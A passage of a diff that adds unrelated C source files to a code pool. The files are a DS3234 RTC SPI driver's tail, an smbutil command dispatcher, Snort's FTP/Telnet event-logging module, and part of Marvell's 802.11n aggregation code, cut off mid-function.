+	ds3234_set_reg(dev, DS3234_REG_DATE, bin2bcd(dt->tm_mday));
+
+	/* 0 = Jan */
+	ds3234_set_reg(dev, DS3234_REG_MONTH, bin2bcd(dt->tm_mon + 1));
+
+	/* Assume 20YY although we just want to make sure not to go negative. */
+	if (dt->tm_year > 100)
+		dt->tm_year -= 100;
+
+	ds3234_set_reg(dev, DS3234_REG_YEAR, bin2bcd(dt->tm_year));
+
+	return 0;
+}
+
+static int ds3234_read_time(struct device *dev, struct rtc_time *tm)
+{
+	return ds3234_get_datetime(dev, tm);
+}
+
+static int ds3234_set_time(struct device *dev, struct rtc_time *tm)
+{
+	return ds3234_set_datetime(dev, tm);
+}
+
+static const struct rtc_class_ops ds3234_rtc_ops = {
+	.read_time	= ds3234_read_time,
+	.set_time	= ds3234_set_time,
+};
+
+static int __devinit ds3234_probe(struct spi_device *spi)
+{
+	struct rtc_device *rtc;
+	unsigned char tmp;
+	struct ds3234 *chip;
+	int res;
+
+	rtc = rtc_device_register("ds3234",
+				&spi->dev, &ds3234_rtc_ops, THIS_MODULE);
+	if (IS_ERR(rtc))
+		return PTR_ERR(rtc);
+
+	spi->mode = SPI_MODE_3;
+	spi->bits_per_word = 8;
+	spi_setup(spi);
+
+	chip = kzalloc(sizeof(struct ds3234), GFP_KERNEL);
+	if (!chip) {
+		rtc_device_unregister(rtc);
+		return -ENOMEM;
+	}
+	chip->rtc = rtc;
+	dev_set_drvdata(&spi->dev, chip);
+
+	res = ds3234_get_reg(&spi->dev, DS3234_REG_SECONDS, &tmp);
+	if (res) {
+		rtc_device_unregister(rtc);
+		return res;
+	}
+
+	/* Control settings
+	 *
+	 * CONTROL_REG
+	 * BIT 7	6	5	4	3	2	1	0
+	 *     EOSC	BBSQW	CONV	RS2	RS1	INTCN	A2IE	A1IE
+	 *
+	 *     0	0	0	1	1	1	0	0
+	 *
+	 * CONTROL_STAT_REG
+	 * BIT 7	6	5	4	3	2	1	0
+	 *     OSF	BB32kHz	CRATE1	CRATE0	EN32kHz	BSY	A2F	A1F
+	 *
+	 *     1	0	0	0	1	0	0	0
+	 */
+	ds3234_get_reg(&spi->dev, DS3234_REG_CONTROL, &tmp);
+	ds3234_set_reg(&spi->dev, DS3234_REG_CONTROL, tmp & 0x1c);
+
+	ds3234_get_reg(&spi->dev, DS3234_REG_CONT_STAT, &tmp);
+	ds3234_set_reg(&spi->dev, DS3234_REG_CONT_STAT, tmp & 0x88);
+
+	/* Print our settings */
+	ds3234_get_reg(&spi->dev, DS3234_REG_CONTROL, &tmp);
+	dev_info(&spi->dev, "Control Reg: 0x%02x\n", tmp);
+
+	ds3234_get_reg(&spi->dev, DS3234_REG_CONT_STAT, &tmp);
+	dev_info(&spi->dev, "Ctrl/Stat Reg: 0x%02x\n", tmp);
+
+	return 0;
+}
+
+static int __devexit ds3234_remove(struct spi_device *spi)
+{
+	struct ds3234 *chip = platform_get_drvdata(spi);
+	struct rtc_device *rtc = chip->rtc;
+
+	if (rtc)
+		rtc_device_unregister(rtc);
+
+	kfree(chip);
+
+	return 0;
+}
+
+static struct spi_driver ds3234_driver = {
+	.driver = {
+		.name	 = "ds3234",
+		.bus	= &spi_bus_type,
+		.owner	= THIS_MODULE,
+	},
+	.probe	 = ds3234_probe,
+	.remove = __devexit_p(ds3234_remove),
+};
+
+static __init int ds3234_init(void)
+{
+	printk(KERN_INFO "DS3234 SPI RTC Driver\n");
+	return spi_register_driver(&ds3234_driver);
+}
+module_init(ds3234_init);
+
+static __exit void ds3234_exit(void)
+{
+	spi_unregister_driver(&ds3234_driver);
+}
+module_exit(ds3234_exit);
+
+MODULE_DESCRIPTION("DS3234 SPI RTC driver");
+MODULE_AUTHOR("Dennis Aberilla <denzzzhome@yahoo.com>");
+MODULE_LICENSE("GPL");
diff --git a/pool/shard001/C/0023890_smbutil.c b/pool/shard001/C/0023890_smbutil.c
new file mode 100644
index 0000000000000000000000000000000000000000..4d14f9e4a3f476df9bb0b15719a59002995083c6
--- /dev/null
+++ b/pool/shard001/C/0023890_smbutil.c
@@ -0,0 +1,159 @@
+#include <sys/param.h>
+#include <sys/time.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <err.h>
+#include <sysexits.h>
+
+#include <netsmb/smb_lib.h>
+#include <netsmb/smb_conn.h>
+
+#include "common.h"
+
+extern char *__progname;
+
+static void help(void);
+static void help_usage(void);
+static int  cmd_crypt(int argc, char *argv[]);
+static int  cmd_help(int argc, char *argv[]);
+
+int verbose;
+
+typedef int cmd_fn_t (int argc, char *argv[]);
+typedef void cmd_usage_t (void);
+
+#define	CMDFL_NO_KMOD	0x0001
+
+static struct commands {
+	const char *	name;
+	cmd_fn_t*	fn;
+	cmd_usage_t *	usage;
+	int 		flags;
+} commands[] = {
+	{"crypt",	cmd_crypt,	NULL, CMDFL_NO_KMOD},
+	{"help",	cmd_help,	help_usage, CMDFL_NO_KMOD},
+	{"lc",		cmd_dumptree,	NULL},
+	{"login",	cmd_login,	login_usage},
+	{"logout",	cmd_logout,	logout_usage},
+	{"lookup",	cmd_lookup,	lookup_usage, CMDFL_NO_KMOD},
+	{"print",	cmd_print,	print_usage},
+	{"view",	cmd_view,	view_usage},
+	{NULL, NULL}
+};
+
+static struct commands *
+lookupcmd(const char *name)
+{
+	struct commands *cmd;
+
+	for (cmd = commands; cmd->name; cmd++) {
+		if (strcmp(cmd->name, name) == 0)
+			return cmd;
+	}
+	return NULL;
+}
+
+int
+cmd_crypt(int argc, char *argv[])
+{
+	char *cp, *psw;
+    
+	if (argc < 2)
+		psw = getpass("Password:");
+	else
+		psw = argv[1];
+	cp = smb_simplecrypt(NULL, psw);
+	if (cp == NULL)
+		errx(EX_DATAERR, "out of memory");
+	printf("%s\n", cp);
+	free(cp);
+	exit(0);
+}
+
+int
+cmd_help(int argc, char *argv[])
+{
+	struct commands *cmd;
+	char *cp;
+    
+	if (argc < 2)
+		help_usage();
+	cp = argv[1];
+	cmd = lookupcmd(cp);
+	if (cmd == NULL)
+		errx(EX_DATAERR, "unknown command %s", cp);
+	if (cmd->usage == NULL)
+		errx(EX_DATAERR, "no specific help for command %s", cp);
+	cmd->usage();
+	exit(0);
+}
+
+int
+main(int argc, char *argv[])
+{
+	struct commands *cmd;
+	char *cp;
+	int opt;
+#ifdef APPLE
+        extern void dropsuid();
+
+	dropsuid();
+#endif /* APPLE */
+
+	if (argc < 2)
+		help();
+
+	while ((opt = getopt(argc, argv, "hv")) != EOF) {
+		switch (opt) {
+		    case 'h':
+			help();
+			/*NOTREACHED */
+		    case 'v':
+			verbose = 1;
+			break;
+		    default:
+			warnx("invalid option %c", opt);
+			help();
+			/*NOTREACHED */
+		}
+	}
+	if (optind >= argc)
+		help();
+
+	cp = argv[optind];
+	cmd = lookupcmd(cp);
+	if (cmd == NULL)
+		errx(EX_DATAERR, "unknown command %s", cp);
+
+	if ((cmd->flags & CMDFL_NO_KMOD) == 0 && smb_lib_init() != 0)
+		exit(1);
+
+	argc -= optind;
+	argv += optind;
+	optind = optreset = 1;
+	return cmd->fn(argc, argv);
+}
+
+static void
+help(void) {
+	printf("\n");
+	printf("usage: %s [-hv] command [args]\n", __progname);
+	printf("where commands are:\n"
+	" crypt [password]		slightly encrypt password\n"
+	" help command			display help on \"command\"\n"
+	" lc 				display active connections\n"
+	" login //user@host[/share]	login to the specified host\n"
+	" logout //user@host[/share]	logout from the specified host\n"
+	" print //user@host/share file	print file to the specified remote printer\n"
+	" view //user@host		list resources on the specified host\n"
+	"\n");
+	exit(1);
+}
+
+static void
+help_usage(void) {
+	printf("usage: smbutil help command\n");
+	exit(1);
+}
diff --git a/pool/shard001/C/0023897_ftpp_eo_log.c b/pool/shard001/C/0023897_ftpp_eo_log.c
new file mode 100644
index 0000000000000000000000000000000000000000..aece5b5d88e51088390e929cae9cba8bb8e6e0f8
--- /dev/null
+++ b/pool/shard001/C/0023897_ftpp_eo_log.c
@@ -0,0 +1,377 @@
+/*
+ * ftpp_eo_log.c
+ *
+ * Copyright (C) 2014-2015 Cisco and/or its affiliates. All rights reserved.
+ * Copyright (C) 2004-2013 Sourcefire, Inc.
+ * Steven A. Sturges <ssturges@sourcefire.com>
+ * Daniel J. Roelker <droelker@sourcefire.com>
+ * Marc A. Norton <mnorton@sourcefire.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License Version 2 as
+ * published by the Free Software Foundation.  You may not use, modify or
+ * distribute this program under any other version of the GNU General
+ * Public License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+ *
+ * Description:
+ *
+ * This file contains the event output functionality that
+ * FTPTelnet uses to log events and data associated with
+ * the events.
+ *
+ * Log events, retrieve events, and select events that HttpInspect
+ * generates.
+ *
+ * Logging Events:
+ *   Since the object behind this is no memset()s, we have to rely on the
+ *   stack interface to make sure we don't log the same event twice.  So
+ *   if there are events in the stack we cycle through to make sure that
+ *   there are none available before we add a new event and increment the
+ *   stack count.  Then to reset the event queue, we just need to set the
+ *   stack count back to zero.
+ *
+ * NOTES:
+ * - 16.09.04:  Initial Development.  SAS
+ *
+ */
+#include <stdlib.h>
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include "ftpp_si.h"
+#include "ftpp_eo.h"
+#include "ftpp_eo_events.h"
+#include "ftpp_return_codes.h"
+
+//#include "signature.h"
+typedef struct _ClassInfo
+{
+    char *typeName;
+    int id;
+    char *name;
+    int priority;
+    struct _ClassInfo *next;
+} ClassInfo;
+
+/*
+ * The ftp & telnet events and the priorities are listed here.
+ * Any time that a new client event is added, we have to
+ * add the event id and the priority here.  If you want to
+ * change either of those characteristics, you have to change
+ * them here.
+ */
+static FTPP_EVENT_INFO ftp_event_info[FTP_EO_EVENT_NUM] = {
+    { FTP_EO_TELNET_CMD,
+        FTP_EO_TELNET_CMD_SID,
+        0,
+        FTPP_EO_LOW_PRIORITY,
+        FTP_EO_TELNET_CMD_STR },
+    { FTP_EO_INVALID_CMD,
+        FTP_EO_INVALID_CMD_SID,
+        0,
+        FTPP_EO_LOW_PRIORITY,
+        FTP_EO_INVALID_CMD_STR },
+    { FTP_EO_PARAMETER_LENGTH_OVERFLOW,
+        FTP_EO_PARAMETER_LENGTH_OVERFLOW_SID,
+        0,
+        FTPP_EO_HIGH_PRIORITY,
+        FTP_EO_PARAMETER_LENGTH_OVERFLOW_STR },
+    { FTP_EO_MALFORMED_PARAMETER,
+        FTP_EO_MALFORMED_PARAMETER_SID,
+        0,
+        FTPP_EO_HIGH_PRIORITY,
+        FTP_EO_MALFORMED_PARAMETER_STR },
+    { FTP_EO_PARAMETER_STR_FORMAT,
+        FTP_EO_PARAMETER_STR_FORMAT_SID,
+        0,
+        FTPP_EO_HIGH_PRIORITY,
+        FTP_EO_PARAMETER_STR_FORMAT_STR },
+    { FTP_EO_RESPONSE_LENGTH_OVERFLOW,
+        FTP_EO_RESPONSE_LENGTH_OVERFLOW_SID,
+        0,
+        FTPP_EO_LOW_PRIORITY,
+        FTP_EO_RESPONSE_LENGTH_OVERFLOW_STR },
+    { FTP_EO_ENCRYPTED,
+        FTP_EO_ENCRYPTED_SID,
+        0,
+        FTPP_EO_LOW_PRIORITY,
+        FTP_EO_ENCRYPTED_STR },
+    { FTP_EO_BOUNCE,
+        FTP_EO_BOUNCE_SID,
+        0,
+        FTPP_EO_MED_PRIORITY,
+        FTP_EO_BOUNCE_STR },
+    { FTP_EO_EVASIVE_TELNET_CMD,
+        FTP_EO_EVASIVE_TELNET_CMD_SID,
+        0,
+        FTPP_EO_LOW_PRIORITY,
+        FTP_EO_EVASIVE_TELNET_CMD_STR }
+
+};
+
+static FTPP_EVENT_INFO telnet_event_info[TELNET_EO_EVENT_NUM] = {
+    { TELNET_EO_AYT_OVERFLOW,
+            TELNET_EO_AYT_OVERFLOW_SID,
+            0,
+            FTPP_EO_HIGH_PRIORITY,
+            TELNET_EO_AYT_OVERFLOW_STR },
+    { TELNET_EO_ENCRYPTED,
+        TELNET_EO_ENCRYPTED_SID,
+        0,
+        FTPP_EO_LOW_PRIORITY,
+        TELNET_EO_ENCRYPTED_STR },
+    { TELNET_EO_SB_NO_SE,
+        TELNET_EO_SB_NO_SE_SID,
+        0,
+        FTPP_EO_LOW_PRIORITY,
+        TELNET_EO_SB_NO_SE_STR }
+
+};
+
+static int log_initialized = 0;
+
+/*
+ * Function: ftpp_eo_event_log_init()
+ *
+ * Purpose: Initialize the event logger.
+ *          We need to initialize the event logger for the FTP/Telnet
+ *          preprocessor.  Initializes the event info objects and class types.
+ *
+ * Arguments: None
+ *
+ * Returns: void
+ *
+ */
+void ftpp_eo_event_log_init(void)
+{
+    if (!log_initialized)
+    {
+        ClassInfo *type = _dpd.getRuleInfoByName("protocol-command-decode");
+        if (type != NULL)
+        {
+            ftp_event_info[FTP_EO_TELNET_CMD].classification = type->id;
+            ftp_event_info[FTP_EO_TELNET_CMD].priority = type->priority;
+            ftp_event_info[FTP_EO_INVALID_CMD].classification = type->id;
+            ftp_event_info[FTP_EO_INVALID_CMD].priority = type->priority;
+            ftp_event_info[FTP_EO_MALFORMED_PARAMETER].classification =
+                type->id;
+            ftp_event_info[FTP_EO_MALFORMED_PARAMETER].priority =
+                type->priority;
+            ftp_event_info[FTP_EO_ENCRYPTED].classification = type->id;
+            ftp_event_info[FTP_EO_ENCRYPTED].priority = type->priority;
+            ftp_event_info[FTP_EO_EVASIVE_TELNET_CMD].classification = type->id;
+            ftp_event_info[FTP_EO_EVASIVE_TELNET_CMD].priority = type->priority;
+            telnet_event_info[TELNET_EO_ENCRYPTED].classification = type->id;
+            telnet_event_info[TELNET_EO_ENCRYPTED].priority = type->priority;
+        }
+
+        type = _dpd.getRuleInfoByName("string-detect");
+        if (type != NULL)
+        {
+            ftp_event_info[FTP_EO_RESPONSE_LENGTH_OVERFLOW].classification =
+                type->id;
+            ftp_event_info[FTP_EO_RESPONSE_LENGTH_OVERFLOW].priority =
+                type->priority;
+        }
+
+        type = _dpd.getRuleInfoByName("policy-violation");
+        if (type != NULL)
+        {
+            ftp_event_info[FTP_EO_BOUNCE].classification = type->id;
+            ftp_event_info[FTP_EO_BOUNCE].priority = type->priority;
+        }
+
+        type = _dpd.getRuleInfoByName("attempted-admin");
+        if (type != NULL)
+        {
+            ftp_event_info[FTP_EO_PARAMETER_LENGTH_OVERFLOW].classification =
+                type->id;
+            ftp_event_info[FTP_EO_PARAMETER_LENGTH_OVERFLOW].priority =
+                type->priority;
+            ftp_event_info[FTP_EO_PARAMETER_STR_FORMAT].classification =
+                type->id;
+            ftp_event_info[FTP_EO_PARAMETER_STR_FORMAT].priority =
+                type->priority;
+            telnet_event_info[TELNET_EO_AYT_OVERFLOW].classification =
+                type->id;
+            telnet_event_info[TELNET_EO_AYT_OVERFLOW].priority =
+                type->priority;
+            telnet_event_info[TELNET_EO_SB_NO_SE].classification =
+                type->id;
+            telnet_event_info[TELNET_EO_SB_NO_SE].priority=
+                type->priority;
+        }
+        log_initialized = 1;
+    }
+}
+
+/*
+ * Function: ftpp_eo_event_log(FTPP_GEN_EVENTS *gen_events,
+ *                             FTPP_EVENT_INFO *event_info,
+ *                             int iEvent,
+ *                             void *data, void (*free_data)(void *) )
+ *
+ * Purpose: This function logs events during FTPTelnet processing.
+ *          The idea behind this event logging is modularity, but at the
+ *          same time performance.  We accomplish this utilizing an
+ *          optimized stack as an index into the client event array,
+ *          instead of walking a list for already logged events.  The
+ *          problem here is that we can't just log every event that we've
+ *          already seen, because this opens us up to a DOS.  So by using
+ *          this method, we can quickly check if an event has already been
+ *          logged and deal appropriately.
+ *
+ * Arguments: gen_events    => pointer to the generic event data
+ *            event_info    => pointer to the event info array
+ *            iEvent        => index within the event array
+ *            data          => pointer to user allocated data
+ *            free_data     => pointer to a function to free the user data
+ *
+ * Returns: int => return code indicating error or success
+ *
+ */
+int ftpp_eo_event_log(FTPP_GEN_EVENTS *gen_events, FTPP_EVENT_INFO *event_info,
+                      int iEvent, void *data, void (*free_data)(void *) )
+{
+    FTPP_EVENT *event;
+    int iCtr;
+    /*
+     * This is where we cycle through the current event stack.  If the event
+     * to be logged is already in the queue, then we increment the event
+     * count, before returning.  Otherwise, we fall through the loop and
+     * set the event before adding it to the queue and incrementing the
+     * pointer.
+     */
+    for(iCtr = 0; iCtr < gen_events->stack_count; iCtr++)
+    {
+        if(gen_events->stack[iCtr] == iEvent)
+        {
+            gen_events->events[iEvent].count++;
+            return FTPP_SUCCESS;
+        }
+    }
+
+    /*
+     * Initialize the event before putting it in the queue.
+     */
+    event = &(gen_events->events[iEvent]);
+    event->event_info = event_info;
+    event->count = 1;
+    event->data = data;
+    event->free_data = free_data;
+
+    /*
+     * We now add the event to the stack.
+     */
+    gen_events->stack[gen_events->stack_count] = iEvent;
+    gen_events->stack_count++;
+
+    return FTPP_SUCCESS;
+}
+
+/*
+ * Function: telnet_eo_event_log(TELNET_SESSION *Session,
+ *                               int iEvent,
+ *                               void *data, void (*free_data)(void *))
+ *
+ * Purpose: This function logs events for telnet processing.
+ *          It invokes ftpp_eo_event_log using a generic event structure
+ *          that contains the telnet specific data.
+ *
+ * Arguments: Session       => pointer to the Telnet session
+ *            iEvent        => the event id for the event
+ *            data          => pointer to the user data of the event
+ *            free_data     => pointer to a function to free the user data
+ *
+ * Returns: int => return code indicating error or success
+ *
+ */
+int telnet_eo_event_log(TELNET_SESSION *Session, int iEvent, void *data,
+        void (*free_data)(void *))
+{
+    int iRet;
+    TELNET_EVENTS *telnet_events;
+    FTPP_EVENT_INFO *event_info;
+    FTPP_GEN_EVENTS gen_events;
+
+    ftpp_eo_event_log_init();
+
+    /*
+     * Check the input variables for correctness
+     */
+    if(!Session || (iEvent >= TELNET_EO_EVENT_NUM))
+    {
+        return FTPP_INVALID_ARG;
+    }
+
+    telnet_events = &(Session->event_list);
+    gen_events.events = (FTPP_EVENT *)&(telnet_events->events);
+    gen_events.stack = (int *)&(telnet_events->stack);
+    gen_events.stack_count = telnet_events->stack_count;
+    event_info = &telnet_event_info[iEvent];
+
+    iRet = ftpp_eo_event_log(&gen_events, event_info, iEvent, data, free_data);
+
+    telnet_events->stack_count = gen_events.stack_count;
+
+    return iRet;
+}
+
+/*
+ * Function: ftp_eo_event_log(FTP_SESSION *Session,
+ *                            int iEvent,
+ *                            void *data, void (*free_data)(void *))
+ *
+ * Purpose: This function logs events for ftp processing.
+ *          It invokes ftpp_eo_event_log using a generic event structure
+ *          that contains the ftp specific data.
+ *
+ * Arguments: Session       => pointer to the FTP session
+ *            iEvent        => the event id for the event
+ *            data          => pointer to the user data of the event
+ *            free_data     => pointer to a function to free the user data
+ *
+ * Returns: int => return code indicating error or success
+ *
+ */
+int ftp_eo_event_log(FTP_SESSION *Session, int iEvent, void *data,
+        void (*free_data)(void *))
+{
+    int iRet;
+    FTP_EVENTS *ftp_events;
+    FTPP_EVENT_INFO *event_info;
+    FTPP_GEN_EVENTS gen_events;
+
+    ftpp_eo_event_log_init();
+
+    /*
+     * Check the input variables for correctness
+     */
+    if(!Session || (iEvent >= FTP_EO_EVENT_NUM))
+    {
+        return FTPP_INVALID_ARG;
+    }
+
+    ftp_events = &(Session->event_list);
+    gen_events.events = (FTPP_EVENT *)&(ftp_events->events);
+    gen_events.stack = (int *)&(ftp_events->stack);
+    gen_events.stack_count = ftp_events->stack_count;
+    event_info = &ftp_event_info[iEvent];
+
+    iRet = ftpp_eo_event_log(&gen_events, event_info, iEvent, data, free_data);
+
+    ftp_events->stack_count = gen_events.stack_count;
+
+    return iRet;
+}
diff --git a/pool/shard001/C/0023899_11n_aggr.c b/pool/shard001/C/0023899_11n_aggr.c
new file mode 100644
index 0000000000000000000000000000000000000000..088612438530dd17fc943a054d83e3e5bf914b16
--- /dev/null
+++ b/pool/shard001/C/0023899_11n_aggr.c
@@ -0,0 +1,306 @@
+/*
+ * Marvell Wireless LAN device driver: 802.11n Aggregation
+ *
+ * Copyright (C) 2011-2014, Marvell International Ltd.
+ *
+ * This software file (the "File") is distributed by Marvell International
+ * Ltd. under the terms of the GNU General Public License Version 2, June 1991
+ * (the "License").  You may use, redistribute and/or modify this File in
+ * accordance with the terms and conditions of the License, a copy of which
+ * is available by writing to the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA or on the
+ * worldwide web at http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.
+ *
+ * THE FILE IS DISTRIBUTED AS-IS, WITHOUT WARRANTY OF ANY KIND, AND THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE
+ * ARE EXPRESSLY DISCLAIMED.  The License provides additional details about
+ * this warranty disclaimer.
+ */
+
+#include "decl.h"
+#include "ioctl.h"
+#include "util.h"
+#include "fw.h"
+#include "main.h"
+#include "wmm.h"
+#include "11n.h"
+#include "11n_aggr.h"
+
+/*
+ * Creates an AMSDU subframe for aggregation into one AMSDU packet.
+ *
+ * The resultant AMSDU subframe format is -
+ *
+ * +---- ~ -----+---- ~ ------+---- ~ -----+----- ~ -----+---- ~ -----+
+ * |     DA     |     SA      |   Length   | SNAP header |   MSDU     |
+ * | data[0..5] | data[6..11] |            |             | data[14..] |
+ * +---- ~ -----+---- ~ ------+---- ~ -----+----- ~ -----+---- ~ -----+
+ * <--6-bytes--> <--6-bytes--> <--2-bytes--><--8-bytes--> <--n-bytes-->
+ *
+ * This function also computes the amount of padding required to make the
+ * buffer length multiple of 4 bytes.
+ *
+ * Data => |DA|SA|SNAP-TYPE|........    .|
+ * MSDU => |DA|SA|Length|SNAP|......   ..|
+ */
+static int
+mwifiex_11n_form_amsdu_pkt(struct sk_buff *skb_aggr,
+			   struct sk_buff *skb_src, int *pad)
+
+{
+	int dt_offset;
+	struct rfc_1042_hdr snap = {
+		0xaa,		/* LLC DSAP */
+		0xaa,		/* LLC SSAP */
+		0x03,		/* LLC CTRL */
+		{0x00, 0x00, 0x00},	/* SNAP OUI */
+		0x0000		/* SNAP type */
+			/*
+			 * This field will be overwritten
+			 * later with ethertype
+			 */
+	};
+	struct tx_packet_hdr *tx_header;
+
+	tx_header = skb_put(skb_aggr, sizeof(*tx_header));
+
+	/* Copy DA and SA */
+	dt_offset = 2 * ETH_ALEN;
+	memcpy(&tx_header->eth803_hdr, skb_src->data, dt_offset);
+
+	/* Copy SNAP header */
+	snap.snap_type = ((struct ethhdr *)skb_src->data)->h_proto;
+
+	dt_offset += sizeof(__be16);
+
+	memcpy(&tx_header->rfc1042_hdr, &snap, sizeof(struct rfc_1042_hdr));
+
+	skb_pull(skb_src, dt_offset);
+
+	/* Update Length field */
+	tx_header->eth803_hdr.h_proto = htons(skb_src->len + LLC_SNAP_LEN);
+
+	/* Add payload */
+	skb_put_data(skb_aggr, skb_src->data, skb_src->len);
+
+	/* Add padding for new MSDU to start from 4 byte boundary */
+	*pad = (4 - ((unsigned long)skb_aggr->tail & 0x3)) % 4;
+
+	return skb_aggr->len + *pad;
+}
+
+/*
+ * Adds TxPD to AMSDU header.
+ *
+ * Each AMSDU packet will contain one TxPD at the beginning,
+ * followed by multiple AMSDU subframes.
+ */
+static void
+mwifiex_11n_form_amsdu_txpd(struct mwifiex_private *priv,
+			    struct sk_buff *skb)
+{
+	struct txpd *local_tx_pd;
+	struct mwifiex_txinfo *tx_info = MWIFIEX_SKB_TXCB(skb);
+
+	skb_push(skb, sizeof(*local_tx_pd));
+
+	local_tx_pd = (struct txpd *) skb->data;
+	memset(local_tx_pd, 0, sizeof(struct txpd));
+
+	/* Original priority has been overwritten */
+	local_tx_pd->priority = (u8) skb->priority;
+	local_tx_pd->pkt_delay_2ms =
+		mwifiex_wmm_compute_drv_pkt_delay(priv, skb);
+	local_tx_pd->bss_num = priv->bss_num;
+	local_tx_pd->bss_type = priv->bss_type;
+	/* Always zero as the data is followed by struct txpd */
+	local_tx_pd->tx_pkt_offset = cpu_to_le16(sizeof(struct txpd));
+	local_tx_pd->tx_pkt_type = cpu_to_le16(PKT_TYPE_AMSDU);
+	local_tx_pd->tx_pkt_length = cpu_to_le16(skb->len -
+						 sizeof(*local_tx_pd));
+
+	if (tx_info->flags & MWIFIEX_BUF_FLAG_TDLS_PKT)
+		local_tx_pd->flags |= MWIFIEX_TXPD_FLAGS_TDLS_PACKET;
+
+	if (local_tx_pd->tx_control == 0)
+		/* TxCtrl set by user or default */
+		local_tx_pd->tx_control = cpu_to_le32(priv->pkt_tx_ctrl);
+
+	if (GET_BSS_ROLE(priv) == MWIFIEX_BSS_ROLE_STA &&
+	    priv->adapter->pps_uapsd_mode) {
+		if (true == mwifiex_check_last_packet_indication(priv)) {
+			priv->adapter->tx_lock_flag = true;
+			local_tx_pd->flags =
+				MWIFIEX_TxPD_POWER_MGMT_LAST_PACKET;
+		}
+	}
+}
+
+/*
+ * Create aggregated packet.
+ *
+ * This function creates an aggregated MSDU packet, by combining buffers
+ * from the RA list. Each individual buffer is encapsulated as an AMSDU
+ * subframe and all such subframes are concatenated together to form the
+ * AMSDU packet.
+ *
+ * A TxPD is also added to the front of the resultant AMSDU packets for
+ * transmission. The resultant packets format is -
+ *
+ * +---- ~ ----+------ ~ ------+------ ~ ------+-..-+------ ~ ------+
+ * |    TxPD   |AMSDU sub-frame|AMSDU sub-frame| .. |AMSDU sub-frame|
+ * |           |       1       |       2       | .. |       n       |
+ * +---- ~ ----+------ ~ ------+------ ~ ------+ .. +------ ~ ------+
+ */
+int
+mwifiex_11n_aggregate_pkt(struct mwifiex_private *priv,
+			  struct mwifiex_ra_list_tbl *pra_list,
+			  int ptrindex)
+			  __releases(&priv->wmm.ra_list_spinlock)
+{
+	struct mwifiex_adapter *adapter = priv->adapter;
+	struct sk_buff *skb_aggr, *skb_src;
+	struct mwifiex_txinfo *tx_info_aggr, *tx_info_src;
+	int pad = 0, aggr_num = 0, ret;
+	struct mwifiex_tx_param tx_param;
+	struct txpd *ptx_pd = NULL;
+	int headroom = adapter->intf_hdr_len;
+
+	skb_src = skb_peek(&pra_list->skb_head);
+	if (!skb_src) {
+		spin_unlock_bh(&priv->wmm.ra_list_spinlock);
+		return 0;
+	}
+
+	tx_info_src = MWIFIEX_SKB_TXCB(skb_src);
+	skb_aggr = mwifiex_alloc_dma_align_buf(adapter->tx_buf_size,
+					       GFP_ATOMIC);
+	if (!skb_aggr) {
+		spin_unlock_bh(&priv->wmm.ra_list_spinlock);
+		return -1;
+	}
+
+	/* skb_aggr->data already 64 byte align, just reserve bus interface
+	 * header and txpd.
+	 */
+	skb_reserve(skb_aggr, headroom + sizeof(struct txpd));
+	tx_info_aggr =  MWIFIEX_SKB_TXCB(skb_aggr);
+
+	memset(tx_info_aggr, 0, sizeof(*tx_info_aggr));
+	tx_info_aggr->bss_type = tx_info_src->bss_type;
+	tx_info_aggr->bss_num = tx_info_src->bss_num;
+
+	if (tx_info_src->flags & MWIFIEX_BUF_FLAG_TDLS_PKT)
+		tx_info_aggr->flags |= MWIFIEX_BUF_FLAG_TDLS_PKT;
+	tx_info_aggr->flags |= MWIFIEX_BUF_FLAG_AGGR_PKT;
+	skb_aggr->priority = skb_src->priority;
+	skb_aggr->tstamp = skb_src->tstamp;
+
+	do {
+		/* Check if AMSDU can accommodate this MSDU */
+		if ((skb_aggr->len + skb_src->len + LLC_SNAP_LEN) >
+		    adapter->tx_buf_size)
+			break;
+
+		skb_src = skb_dequeue(&pra_list->skb_head);
+		pra_list->total_pkt_count--;
+		atomic_dec(&priv->wmm.tx_pkts_queued);
+		aggr_num++;
+		spin_unlock_bh(&priv->wmm.ra_list_spinlock);
+		mwifiex_11n_form_amsdu_pkt(skb_aggr, skb_src, &pad);
+
+		mwifiex_write_data_complete(adapter, skb_src, 0, 0);
+
+		spin_lock_bh(&priv->wmm.ra_list_spinlock);
+
+		if (!mwifiex_is_ralist_valid(priv, pra_list, ptrindex)) {
+			spin_unlock_bh(&priv->wmm.ra_list_spinlock);
+			return -1;
+		}
+
+		if (skb_tailroom(skb_aggr) < pad) {
+			pad = 0;
+			break;
+		}
+		skb_put(skb_aggr, pad);
+
+		skb_src = skb_peek(&pra_list->skb_head);
+
+	} while (skb_src);
+
+	spin_unlock_bh(&priv->wmm.ra_list_spinlock);
+
+	/* Last AMSDU packet does not need padding */
+	skb_trim(skb_aggr, skb_aggr->len - pad);
+
+	/* Form AMSDU */
+	mwifiex_11n_form_amsdu_txpd(priv, skb_aggr);
+	if (GET_BSS_ROLE(priv) == MWIFIEX_BSS_ROLE_STA)
+		ptx_pd = (struct txpd *)skb_aggr->data;
+
+	skb_push(skb_aggr, headroom);
+	tx_info_aggr->aggr_num = aggr_num * 2;
+	if (adapter->data_sent || adapter->tx_lock_flag) {
+		atomic_add(aggr_num * 2, &adapter->tx_queued);
+		skb_queue_tail(&adapter->tx_data_q, skb_aggr);
+		return 0;
+	}
+
+	if (skb_src)
+		tx_param.next_pkt_len = skb_src->len + sizeof(struct txpd);
+	else
+		tx_param.next_pkt_len = 0;
+
+	if (adapter->iface_type == MWIFIEX_USB) {
+		ret = adapter->if_ops.host_to_card(adapter, priv->usb_port,
+						   skb_aggr, &tx_param);
+	} else {
+
+		ret = adapter->if_ops.host_to_card(adapter, MWIFIEX_TYPE_DATA,
+						   skb_aggr, &tx_param);
+	}
+	switch (ret) {
+	case -EBUSY:
